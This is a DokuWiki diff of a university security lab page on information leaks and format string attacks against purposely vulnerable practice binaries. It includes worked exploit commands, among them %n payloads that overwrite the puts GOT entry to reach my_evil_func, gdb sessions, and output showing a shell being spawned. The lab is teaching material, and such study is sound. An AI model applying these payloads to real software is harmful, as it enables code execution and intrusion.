Differences

This shows you the differences between two versions of the page.

Link to this comparison view

cns:labs:lab-07 [2020/11/22 20:14]
dennis.plosceanu [Extra: Format String Attack]
cns:labs:lab-07 [2022/11/21 14:29] (current)
mihai.dumitru2201 [Basic Format String Attack]
Line 1: Line 1:
 ====== Lab 07 - Strings ====== ​ ====== Lab 07 - Strings ====== ​
  
-===== Tasks ====+===== Tasks repository ​====
  
 All content necessary for the CNS laboratory tasks can be found in [[cns:​resources:​repo|the CNS public repository]]. ​ All content necessary for the CNS laboratory tasks can be found in [[cns:​resources:​repo|the CNS public repository]]. ​
Line 37: Line 37:
 We can test this using: We can test this using:
 <​code>​ <​code>​
-$ python -c 'print("​A"​*32)'​ | ./​basic_info_leak ​+$ python -c 'import sys; sys.stdout.buffer.write(b"​A"​*32)'​ | ./​basic_info_leak ​
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�8� AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�8�
 </​code>​ </​code>​
Line 43: Line 43:
 In order to check the hexadecimal values of the leak, we pipe the output through ''​xxd'':​ In order to check the hexadecimal values of the leak, we pipe the output through ''​xxd'':​
 <​code>​ <​code>​
-$ python -c 'print("​A"​*32)'​ | ./​basic_info_leak | xxd+$ python -c 'import sys; sys.stdout.buffer.write(b"​A"​*32)'​ | ./​basic_info_leak | xxd
 00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA 00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
 00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA 00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
Line 129: Line 129:
 $ gdb -q ./info_leak $ gdb -q ./info_leak
 Reading symbols from ./​info_leak...done. Reading symbols from ./​info_leak...done.
-gdb-peda$ b printf+gdb-peda$ b my_main
 Breakpoint 1 at 0x400560 Breakpoint 1 at 0x400560
 gdb-peda$ r < <(python -c '​import sys; sys.stdout.write(32*"​A"​)'​) gdb-peda$ r < <(python -c '​import sys; sys.stdout.write(32*"​A"​)'​)
 Starting program: info_leak < <(python -c '​import sys; sys.stdout.write(32*"​A"​)'​) Starting program: info_leak < <(python -c '​import sys; sys.stdout.write(32*"​A"​)'​)
 [...] [...]
 +
 +# Do next instructions until after the call to printf.
 +gdb-peda$ ni
 +....
  
 gdb-peda$ x/12g name gdb-peda$ x/12g name
Line 181: Line 185:
  
 <note tip> <note tip>
-Same as above, use ''​nm''​ to determine address of the ''​my_evil_func()''​ function.+Same as above, use ''​nm''​ to determine address of the ''​my_evil_func()''​ function.  
 +When sending your exploit to the remote server, adjust this address according to the binary running on the remote endpoint. The precompiled binary can be found in [[cns:​resources:​repo|the CNS public repository]].
 </​note>​ </​note>​
  
Line 193: Line 198:
  
 <note tip> <note tip>
-In case of a successful exploit the program will return with the ''​42''​ error code in the ''​my_evil_func()''​ function, same as below:+In case of a successful exploit the program will spawn a shell in the ''​my_evil_func()''​ function, same as below:
 <​code>​ <​code>​
 $ python exploit.py ​ $ python exploit.py ​
Line 200: Line 205:
 [*] old_rbp is 0x7fffffffdd40 [*] old_rbp is 0x7fffffffdd40
 [*] return address is located at is 0x7fffffffdd38 [*] return address is located at is 0x7fffffffdd38
-[*] Process '​./​info_leak'​ stopped with exit code 42 (pid 6422)+[*] Switching to interactive mode 
 +Returning from main! 
 +$ id 
 +uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
 </​code>​ </​code>​
 </​note>​ </​note>​
Line 258: Line 266:
 ==== Basic Format String Attack ==== ==== Basic Format String Attack ====
  
-You will now do a basic format string attack using the ''​basic-format-string/''​ subfolder ​in the [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-07.tar.gz|lab archive]]. The source code is in ''​basic_format_string.c''​ and the executable is in ''​basic_format_string''​.+You will now do a basic format string attack using the ''​03-basic-format-string/''​ subfolder. The source code is in ''​basic_format_string.c''​ and the executable is in ''​basic_format_string''​.
  
-You need to use ''​%n''​ to overwrite the value of the ''​v''​ variable to ''​200''​. You have to do three steps:+You need to use ''​%n''​ to overwrite the value of the ''​v''​ variable to ''​0x300''​. You have to do three steps:
   - Determine the address of the ''​v''​ variable using ''​nm''​.   - Determine the address of the ''​v''​ variable using ''​nm''​.
   - Determine the ''​n''​-th parameter of ''​printf()''​ that you can write to using ''​%n''​. The ''​buffer''​ variable will have to be that parameter; you will store the address of the ''​v''​ variable in the ''​buffer''​ variable.   - Determine the ''​n''​-th parameter of ''​printf()''​ that you can write to using ''​%n''​. The ''​buffer''​ variable will have to be that parameter; you will store the address of the ''​v''​ variable in the ''​buffer''​ variable.
-  - Construct a format string that enables the attack; the number of characters processed by ''​printf()''​ until ''​%n''​ is matched will have to be ''​200''​.+  - Construct a format string that enables the attack; the number of characters processed by ''​printf()''​ until ''​%n''​ is matched will have to be ''​0x300''​.
  
 For the second step let's run the program multiple times and figure out where the ''​buffer''​ address starts. We fill ''​buffer''​ with the ''​aaaa''​ string and we expect to discover it using the ''​printf()''​ format specifiers. For the second step let's run the program multiple times and figure out where the ''​buffer''​ address starts. We fill ''​buffer''​ with the ''​aaaa''​ string and we expect to discover it using the ''​printf()''​ format specifiers.
Line 290: Line 298:
 </​code>​ </​code>​
  
-We need that number to be ''​200''​. You can fine tune the format string by using a construct such as ''​%32llx''​ to print a number on ''​32''​ characters instead of a maximum of ''​16''​ characters. See how much extra room you need and see if you reach ''​200''​ bytes.+We need that number to be ''​0x300''​. You can fine tune the format string by using a construct such as ''​%32llx''​ to print a number on ''​32''​ characters instead of a maximum of ''​16''​ characters. See how much extra room you need and see if you reach ''​0x300''​ bytes.
  
 <note important>​ <note important>​
Line 298: Line 306:
 After the plan is complete, write down the attack by filling the ''​TODO''​ lines in the ''​exploit.py''​ solution skeleton. After the plan is complete, write down the attack by filling the ''​TODO''​ lines in the ''​exploit.py''​ solution skeleton.
  
-After you write 200 chars in v, you should obtain shell+/* 
 +<note tip> 
 +When sending your exploit to the remote server, adjust this address according to the binary running on the remote endpoint. The precompiled binary can be found in [[cns:​resources:​repo|the CNS public repository]]. 
 +</​note>​ 
 +*/ 
 + 
 +After you write 0x300 chars in v, you should obtain shell
 <​code>​ <​code>​
-$ python ​exploit64.py +$ python ​exploit.py 
 [!] Could not find executable '​basic_format_string'​ in $PATH, using '​./​basic_format_string'​ instead [!] Could not find executable '​basic_format_string'​ in $PATH, using '​./​basic_format_string'​ instead
 [+] Starting local process '​./​basic_format_string':​ pid 20785 [+] Starting local process '​./​basic_format_string':​ pid 20785
Line 361: Line 375:
 By trial and error or by using GDB (breakpoint on ''​printf''​) we can determine where the buffer starts By trial and error or by using GDB (breakpoint on ''​printf''​) we can determine where the buffer starts
 <code bash> <code bash>
-$ ./format "​$(python -c '​import sys; sys.stdout.buffer.write(b"​ABCD"​ + b"​%08x\n ​  "​ * 200)'​)" ​ | grep -n 41 | head+$ ./format "​$(python -c '​import sys; sys.stdout.buffer.write(b"​ABCD"​ + b"​%08x\n ​  "​ * 0x300)'​)" ​ | grep -n 41 | head
 10:   ​ffffc410 10:   ​ffffc410
 52:   ​ffffcc41 52:   ​ffffcc41
Line 473: Line 487:
  
 Lets first display the address. We are using the address ''​0x804c014''​. This address is the address of the got entry for the puts function. Basically, we will override the got entry for the puts. Lets first display the address. We are using the address ''​0x804c014''​. This address is the address of the got entry for the puts function. Basically, we will override the got entry for the puts.
 +
 +Check the ''​exploit.py''​ script from the task directory, read the commends and understand what it does.
  
 <code bash> <code bash>
-objdump ​-./​format ​| grep puts +python exploit.py 
-0804c014 R_386_JUMP_SLOT ​  puts +[*] '​format'​ 
-./​format ​"​$(python -c 'import sys; sys.stdout.buffer.write(b"\x08\xa0\x04\x08" + b"​\x09\xa0\x04\x08" + b"​\x0a\xa0\x04\x08" + b"​\x0b\xa0\x04\x08" + b"​A"​ * 498 + b"​%255x|"​ + b"​%126$08x"​ + b"​%255x|"​ + b"​%127$08x"​ + b"​%255x|"​ + b"​%128$08x"​)'​)"​+    Arch:     i386-32-little 
 +    RELRO: ​   Partial RELRO 
 +    Stack: ​   No canary found 
 +    NX:       NX enabled 
 +    PIE:      No PIE (0x8048000) 
 +[+] Starting local process './format': pid 29030 
 +[*] Switching to interactive mode 
 +[*] Process './​format' ​stopped with exit code 0 (pid 29030) 
 +\x14\x04\x15\x04\x17\x04\x18\x04 804c014 ​ 804c015 ​ 804c017 ​ 804c018 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... 
 +This is the most useless and insecure program! 
 +</​code>​
  
 +The output starts with ''​\x14\x04\x15\x04\x17\x04\x18\x04 804c014 ​ 804c015 ​ 804c017 ​ 804c018''​ which is the 4 addresses we have written (raw, little endian) followed by the numerical prints done with ''​%x''​ of the same addresses.
  
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ​... +If you have the same output it means that now, if you replace ''​%x''​ with ''​%n''​ (change ''​fmt = write_fmt''​ in the script) it will try to write something at those valid addresses.
-0|0804a008 +
-f7e2a4d3|0804a009 +
-2|0804a00a +
-ffffd2c4|0804a00b +
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            This is the most useless and insecure program!+
  
 +We want to put the value ''​0x080491a6''​.
 +<code bash> ​
 +$ objdump -d ./format | grep my_evil
 +080491a6 <​my_evil_func>:​
 </​code>​ </​code>​
-Why are we printing 498 ''​A''​s? We added 12 bytes before our format and 6 extra bytes for the output -- the ''​|'' ​is there only for pretty ​print. We want to keep in place the first argument -- anyway, you should always check this.+<note important>​ 
 +As ''​%n'' ​writes how many characters have been printed until it is reached, each ''​%n'' ​will print an incrementally larger value. 
 +We use the 4 adjacent adressess ​to write byte by byte and use overflows to reach a lower value for the next byte. 
 +For example, after writing ''​0xa6''​ we can write ''​0x0191'':​
  
-Lets replace the ''​%x''​ with ''​%n''​ +{{cns:labs:bytes_write.png?500}}
-<code bash> +
-$ ./format "​$(python -c '​import sys; sys.stdout.buffer.write(b"​\x08\xa0\x04\x08"​ + b"​\x09\xa0\x04\x08"​ + b"​\x0a\xa0\x04\x08"​ + b"​\x0b\xa0\x04\x08"​ + b"​A"​ * 498 + b"​%255x|"​ + b"​%126$08n"​ + b"​%255x|"​ + b"​%127$08n"​ + b"​%255x|"​ + b"​%128$08n"​ + b"​%255x|"​ + b"​%129$08n"​)'​)"​ +
-$ gdb ./format -c core +
-Program terminated with signal 11, Segmentation fault. +
-#0  0x02020202 in ?? () +
-(gdb) x/x 0x0804a000 +
-0x804a000 <​printf@got.plt>​: 0xf7e5ded0 +
-(gdb) x/x 0x0804a004 +
-0x804a004 <​fwrite@got.plt>​: 0x08048396 +
-(gdb) x/x 0x0804a008 +
-0x804a008 <​puts@got.plt>:​ 0x02020202 +
-(gdb) x/x 0x0804a00c +
-0x804a00c <​__gmon_start__@got.plt>:​ 0x08000006 +
-(gdb)  +
-</​code>​+
  
-In the gdb session above you can see: +Also, the ''​%n''​ count doesn'​t ​reset soif we want to write ''​0xa6''​ and then ''​0x91'​' the payload should be in the form of:
-  - the got entry for printf points to a library address (the address starts with 0xf) +
-  - the got entry for fwrite points to some code inside the binary. This means that the function wasn'​t ​yet calledthe loader didn't load this address yet. +
-  - the puts entry points to 0x02020202. This is the value that we wrote.+
  
-**How come we wrote the first ''​0x02''?​** +''​<0xa6 bytes>​%n<​0x100 - 0xa6 + 0x91 bytes>%n''​
-Just before executing the first ''​%n'' ​the vulnerable code printed 770 (4*4+498+256) bytes and hex(770) == 0x302.+
  
-**How come the rest of the bytes are ''​0x02''?​*+As mentionet earlier above, instead writing N bytes ''​"​A" ​N'' ​you can use other format strings like ''​%Nc'' ​or ''​%Nx''​ to keep the payload shorter
-After executing the first ''​%n''​ we printed another 256 bytes before each ''​%n'' ​so we actually wrote 0x402, 0x502 and 0x602. You can see that the last three bytes ''​%%__gmon_start__@got.plt%%'' ​are ''​0x000006''​. +</note>
- +
-We want to put the value ''​0x08048494''​. +
-<code bash>  +
-$ objdump -d ./format | grep my_evil +
-08048494 <​my_evil_func>:​ +
-</​code>​ +
-The first byte is ''​0x94''​ (little endian), recall that we were able to write ''​0x02'',​ writing ''​0x94''​ means replacing first 255 with 255-(0x102-0x94) == 145. +
-<code bash> +
-$ ./format "​$(python -c '​import sys; sys.stdout.buffer.write(b"​\x08\xa0\x04\x08"​ + b"​\x09\xa0\x04\x08"​ + b"​\x0a\xa0\x04\x08"​ + b"​\x0b\xa0\x04\x08"​ + b"​A"​ * 498 + b"​%145x|"​ + b"​%126$08n"​ + b"​%255x|"​ + b"​%127$08n"​ + b"​%255x|"​ + b"​%128$08n"​ + b"​%255x|"​ + b"​%129$08n"​)'​)"​ +
-$ gdb ./format -c core +
-#0  0x94949494 in ?? () +
-(gdb) quit +
-</​code>​ +
-The next byte that we want to write is ''​0x84''​ so we need to replace 255 with 235. We can continue this idea until we profit. +
-<code bash> +
-$ ./format "​$(python -c '​import sys; sys.stdout.buffer.write(b"​\x08\xa0\x04\x08"​ + b"​\x09\xa0\x04\x08"​ + b"​\x0a\xa0\x04\x08"​ + b"​\x0b\xa0\x04\x08"​ + b"​A"​ * 498 + b"​%145x|"​ + b"​%126$08n"​ + b"​%239x|"​ + b"​%127$08n"​ + b"​%127x|"​ + b"​%128$08n"​ + b"​%259x|"​ + b"​%129$08n"​)'​)"​ | tr -s ' ' > /dev/null +
-I'm evil, but nobody calls me :-( +
-</code>+
  
 **[1p] Bonus task** Can you get a shell? (Assume ASLR is disabled). **[1p] Bonus task** Can you get a shell? (Assume ASLR is disabled).
cns/labs/lab-07.1606068851.txt.gz · Last modified: 2020/11/22 20:14 by dennis.plosceanu
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0